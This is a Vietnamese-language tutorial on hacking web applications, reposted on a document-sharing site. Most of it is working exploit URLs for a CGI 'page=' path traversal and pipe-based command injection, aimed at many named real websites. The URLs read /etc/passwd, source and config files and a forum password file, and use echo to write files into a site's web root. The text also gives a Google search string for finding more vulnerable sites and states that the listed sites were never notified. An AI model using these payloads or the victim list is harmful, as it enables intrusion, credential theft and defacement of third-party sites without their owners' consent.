Web Hacking, Brief Introduction

4 485 6
Web Hacking, Brief Introduction

Đang tải... (xem toàn văn)

Thông tin tài liệu

Web Hacking, Brief Introduction

Web Hacking, Brief Introduction : trang này đã được đọc lần Trong thời đại hiện nay khi internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các cuộc giao dịch buôn bán online. Vấn đề nảy sinh là khi phạm vi ứng dụng của các web application ngày càng phổ biến thì khả năng xuất hiện lỗi và bị tấn công càng cao. Trong các lĩnh vực hacking, hack web application là sân chơi khá lý thú cho những ai yêu thích computer security. Thông thường, những bước cơ bản khi thực hiện hack web bao gồm như sau - các bước này không nhất thiết phải thực hiện tuần tự mà tùy vào điều kiện của chúng ta. 1. Thu thập thông tin ở mức trên về hạ tầng của mục tiêu Bước này ta cần thu thập một số thông tin quan trọng như có bao nhiêu server, mô hình của các web server, các client nào sẽ tương tác với ứng dụng web, kiểu giao tiếp thông tin (transport) và thông qua các cổng (port) nào, những site liên quan đến việc thực hiện chức năng của site mục tiêu 2. Khảo sát ứng dụng web Ở đây tôi chỉ mô tả một trong những phương pháp khảo sát khá phổ biến từ trước đến giờ, đó là Xem mã nguồn và lợi dụng các lỗi cho phép xem mã nguồn.Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server Pages (ASP),Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP). Bài viết này tôi chỉ đề cập đến 1 bug đã có từ lâu nhưng thấy vẫn còn nhiều site mắc phải, đó là lỗi liên quan đến CGI design cho phép view source và file system traversal. Hãy xem ví dụ sau: http://www.earthdayalliance.org/index.cgi?page=contact.htmỞ đây index.cgi được gọi với tham số truyền vào là trang contact.htm (HTML file) nó sẽ đọc và hiện nội dung của trang này lên client browser. Tuy nhiên nếu người viết cgi không kiểm tra kĩ lưỡng, ta có thể lợi dụng để xem chính nội dung của file index.cgi hay các trang khác. Ví dụ sau ta sẽ thay contact.htm bằng index.cgi: http://www.earthdayalliance.org/index.cgi?page=index.cgi Ở đây ta gặp 1 thông báo lỗi "error: No such file or directory /web/guide/earthdayalliance/www/content/index.cgi", nguyên nhân là thực tế index.cgi không nằm trong thư mục hiện hành (tức là /www/content/) mà nằm ở www, do đó ta sẽ chỉnh lại link 1 chút bằng 1 dot dot slash, như sau: http://www.earthdayalliance.org/index.cgi?page=/ /index.cgi Chạy link này ta sẽ thấy nội dung của index.cgi được show trên browser. Việc xem được source có thể giúp ta tìm hiểu kĩ càng hơn về web app, thậm chí nếu may mắn có thể xem được những thông tin quan trọng khác. Lệnh sau là 1 ví dụ dùng lỗi này để xem file etc/passwd trong unix server: http://www.earthdayalliance.org/index.cgi?page=/ / / / / / / / / /etc/passwd Đây chỉ là 1 ví dụ nhỏ, còn khai thác hay hạn chế thế nào thì tùy khả năng của mỗi người. Các bạn có thể tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên quan, chẳng hạn như: "index.cgi?page=" Đây là vài link tôi tìm thấy, các bạn có thể tham khảo: http://www.discountdata.com/index.cgi?page=index.cgi http://home.no.net/danm2/freezeware/index.cgi?page=leecher.html http://home.no.net/danm2/freezeware/index.cgi?page=/ / / / / / / / /etc/passwd http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=practical.htm http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=/ / / / / / /etc/passwd http://www.resource.nl/uk/index.cgi?page=index.cgi http://www.earthdayalliance.org/index.cgi?page=contact.htm http://www.earthdayalliance.org/index.cgi?page=/ /index.cgi http://www.earthdayalliance.org/index.cgi?page=/ / / / / / / / / /etc/passwd http://www.nestingeagles.com/index.cgi?page=videoB.htm http://www.nestingeagles.com/index.cgi?page=/ /index.cgi http://www.nestingeagles.com/index.cgi?page=/ / / / / / /etc/passwd http://www.warehousejewelry.com/cgi-bin/index.cgi?page=Privacy_Policy.htm http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/ /index.cgi http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/ /./admin/configuration.pl http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/ / / / / / / /etc/passwd http://demo1.secmod.com/index.cgi?page=links.html http://demo1.secmod.com/index.cgi?page=index.cgi http://demo1.secmod.com/index.cgi?page=/ / / / / /etc/passwd http://www.vintagejournal.com/VJ0901/index.cgi?page=/ /index.cgi http://www.vintagejournal.com/VJ0901/index.cgi?page=home.htm http://www.datadart.com/commercesql/index.cgi?page=STK%20Datasheets.html&car http://www.datadart.com/commercesql/index.cgi?page=/ /index.cgi http://www.gatlinburggateway.com/index.cgi?&page=/ / / / / / /etc/passwd http://www.berkshire-is.com/index.cgi?page=news.html http://www.berkshire-is.com/index.cgi?page=index.cgi http://www.berkshire-is.com/index.cgi?page=/ / / / / /etc/passwd http://www.smokymtnarts-crafts.com/index.cgi?page=otto.htm http://www.smokymtnarts-crafts.com/index.cgi?page=/ /index.cgi http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=flagsbyname.html http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=/ /index.cgi http://www.randalloglegallery.com/index.cgi?page=about.htm http://www.randalloglegallery.com/index.cgi?page=/ /index.cgi . Lưu ý các site trên chưa được thông báo về lỗi này. 3. Tấn công các web server 4. Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization) Bao gồm các phương pháp như đoán mật khẩu, làm việc - thay đổi thông tin cookies, các kĩ thuật directory traversal, leo thang đặc quyền, các phương pháp tấn công dựa vào SQL, SQL injection . 5. Tìm hiểu sâu về các chức năng của ứng dụng web Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các order input, confirmation, order tracking. Ở đây ta có thể áp dụng các phương pháp như SQL Injection, input validation . 6. Tìm hiểu luồng di chuyển của thông tin Các thông tin tương tác giữa client và server, các thông tin tương tác với database. Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo được tính hiệu quả (nhanh),và bảo mật (có thể sẽ chậm hơn). Thường thì tính hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi trong quá trình đó và giúp hacker có thể lợi dụng các lỗi như SQL input .để đoạt quyền điều khiển hệ thống. 7. Tấn công trang của người quản lý hệ thống 8. Tấn công client 9. Thực hiện tấn công từ chối dịch vụ Denial-of-Service (DoS) Đây là cách cuối cùng khi các phương pháp trên không thực hiện thành công. Phần này cần các bạn có kiến thức chút đỉnh về Unix. Bước tiếp theo là khai thác khả năng command execution từ client browser thông qua HTTP port.Ở đây các bạn chú ý các kí tự đặc biệt hữu ích khi ta cần thực hiện lệnh trong URL, đó là: newline character (%0a), pipe (%7c), semicolon (%3b), ampersand (%26). Newline char cho phép ta ngắt các lệnh ra thành nhiều dòng khi thực hiện, dùng khi ta kết nhiều lệnh cùng trên cùng 1 dòng; pipe dùng để kết nối nhiều lệnh unix với nhau, tương tự với semicolon; ampersand thường dùng để ngăn cách các tham số truyền vào câu lệnh .Các bạn tự tìm hiểu kĩ hơn các thông tin này. Tiếp theo vd ở post đầu, đó là: http://www.earthdayalliance.org/index.cgi?page=contact.htm Bây giờ ta thử gọi 1 lệnh liệt kê thông tin thư mục của unix (ls): http://www.earthdayalliance.org/index.cgi?page=|ls| Ta sẽ thấy browser liệt kê ra các file, thư mục có trong thư mục hiện hành của trang web, đại khái như sau: [badurl.htm contact.txt content count_file edcpressrelease.htm greentemplate.htm guestbook images index.cgi newtemplate.htm registercircle.txt search.html template.htm templates welcome.htm wwwboard ] Nếu muốn biết rõ hơn về thông tin của file, như quyền hạn, ngày tháng .ta dùng lệnh ls -la, cụ thể URL sẽ là: http://www.earthdayalliance.org/index.cgi?page=|ls+-la|Một vd của việc khai thác tiếp theo: ta thấy thư mục wwwboard, đây là 1 dạng webforum đơn giản, ta xem thử nội dung thư mục này: http://www.earthdayalliance.org/index.cgi?page=|ls%20wwwboard| Ở đây ta sẽ thấy liệt kê ra content của forum này, trong đó có 1 file passwd.txt, ta muốn xem nội dung file này, chỉ việc thực hiện: http://www.earthdayalliance.org/index.cgi?page=/ /wwwboard/passwd.txt Lưu ý ta thêm / / phía trước vì muốn lùi 1 cấp trở về thư mục cha. Thế là bạn vừa xem được pass admin của forum dạng này. Đây là 1 thông tin tìm hiểu khác: http://www.earthdayalliance.org/index.cgi?page=|ls%20/ / / / / /etc+-la| Liệt kê các user trong server này: http://www.earthdayalliance.org/index.cgi?page=|ls+/ / / /./web/guide+-al| . Bước khai thác kế tiếp dành cho các bạn: Thực hiện nhiều câu lệnh, get shell . Chúc thành công. Các công cụ có thể áp dụng trong web hacking các bạn có thể tìm hiểu ở trang: http://www.hackingexposed.com/tools/tools.html Một tài liệu nhỏ về web hacking khác (đây là tài liệu English, đọc bằng chương trình Microsoft powerpoint trong bộ Microsoft Office): webhacking.zip Tôi sẽ giới thiệu các bạn 1 thủ thuật nho nhỏ để tạo 1 file dạng text khi ta có thể run được command trên remote server. Cách này có thể áp dụng với cả nt và unix. Với NT, tôi đã từng thực hiện thành công khi hack các server hosting controller trước đây, khi đó tôi dùng cách này để tạo 1 file script ftp, sau đó gọi lệnh ftp để chạy script này. Ở đây tôi sẽ nêu ví dụ tạo 1 link cho site bị lỗi CGI File System Traversal tôi đã post. Các bạn theo dõi link sau:http://www.nestingeagles.com/index.cgi?page=/ / / / / / /etc/passwd , ta sẽ thấy nó liệt kê ra nội dung của file passwd (đã shadowed). Vì site này có tên là nestingeagles.com nên tôi sẽ search "nestingeagles" trong list vừa liệt kê trong passwd, ta sẽ thấy: marlonsand:*:354:102:,,,,:/mnt/web/guide/turboprofits:/bin/false bibscalp:*:356:102:,,,,:/mnt/web/guide/bibscalpproducts:/bin/suspended nestingeagle:*:357:102:,,,,:/mnt/web/guide/nestingeagles:/bin/bash twostr:*:359:102:,,,,:/mnt/web/guide/twostreetmusic:/bin/suspended srinc:*:361:102:,,,,:/mnt/web/guide/summationresearch:/bin/false Ta chú ý đến đường dẫn của website này: : /mnt/web/guide/nestingeagles, từ đây ta sẽ dùng lệnh ls để xem nó, như sau:http://www.nestingeagles.com/index.cgi?page=|ls%20/ / / / /mnt/web/guide/nestingeagles| , nó sẽ liệt kê các thông tin về thư mục và file của site này, tìm hiểu thêm ta sẽ biết được mainindex của site nằm trong /wwwfp/, ta lại liệt kê: http://www.nestingeagles.com/index.cgi?page=|ls%20/ / / / /mnt/web/guide/nestingeagles/wwwfp| . Ok, bây giờ ta có thể thực hiên các lệnh tạo, xóa .main index của website trong thư mục này. Ta sẽ thử tìm cách tạo link a.htm. Lệnh tôi giới thiệu ở đây là echo. Lệnh echo sẽ hiện 1 message ra standard output hoặc ra file. Command dùng trong trường hợp này như sau: echo [message] >> [filename], nếu muốn thêm vào file có sẵn, bạn chỉ việc gọi tiếp lệnh echo với file đã có, nhưng với message (nội dung) khác. http://www.nestingeagles.com/index.cgi?page=|echo%20This+is+a|test%20>>%20/ / / / /mnt/web/guide/nestingeagles/wwwfp/a.htm| Nếu thành công, bạn sẽ thấy link sau: http://www.nestingeagles.com/a.htm Bây giờ các bạn thấy lệnh echo hữu dụng thế nào rồi chứ, ta có thể tạo link mà chẳng cần tool gì remote cả ngoại trừ browser. Lưu ý các bạn khi test nên tránh dùng các lệnh xoá dữ liệu hoặc tạo file đè mất các file người ta có sẵn, cũng đừng nên quá lạm dụng lệnh để tạo nhiều link sẽ sớm bị phát hiện. . Web Hacking, Brief Introduction : trang này đã được đọc lần Trong thời đại hiện nay. ứng dụng của các web application ngày càng phổ biến thì khả năng xuất hiện lỗi và bị tấn công càng cao. Trong các lĩnh vực hacking, hack web application

Ngày đăng: 02/11/2012, 14:19

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan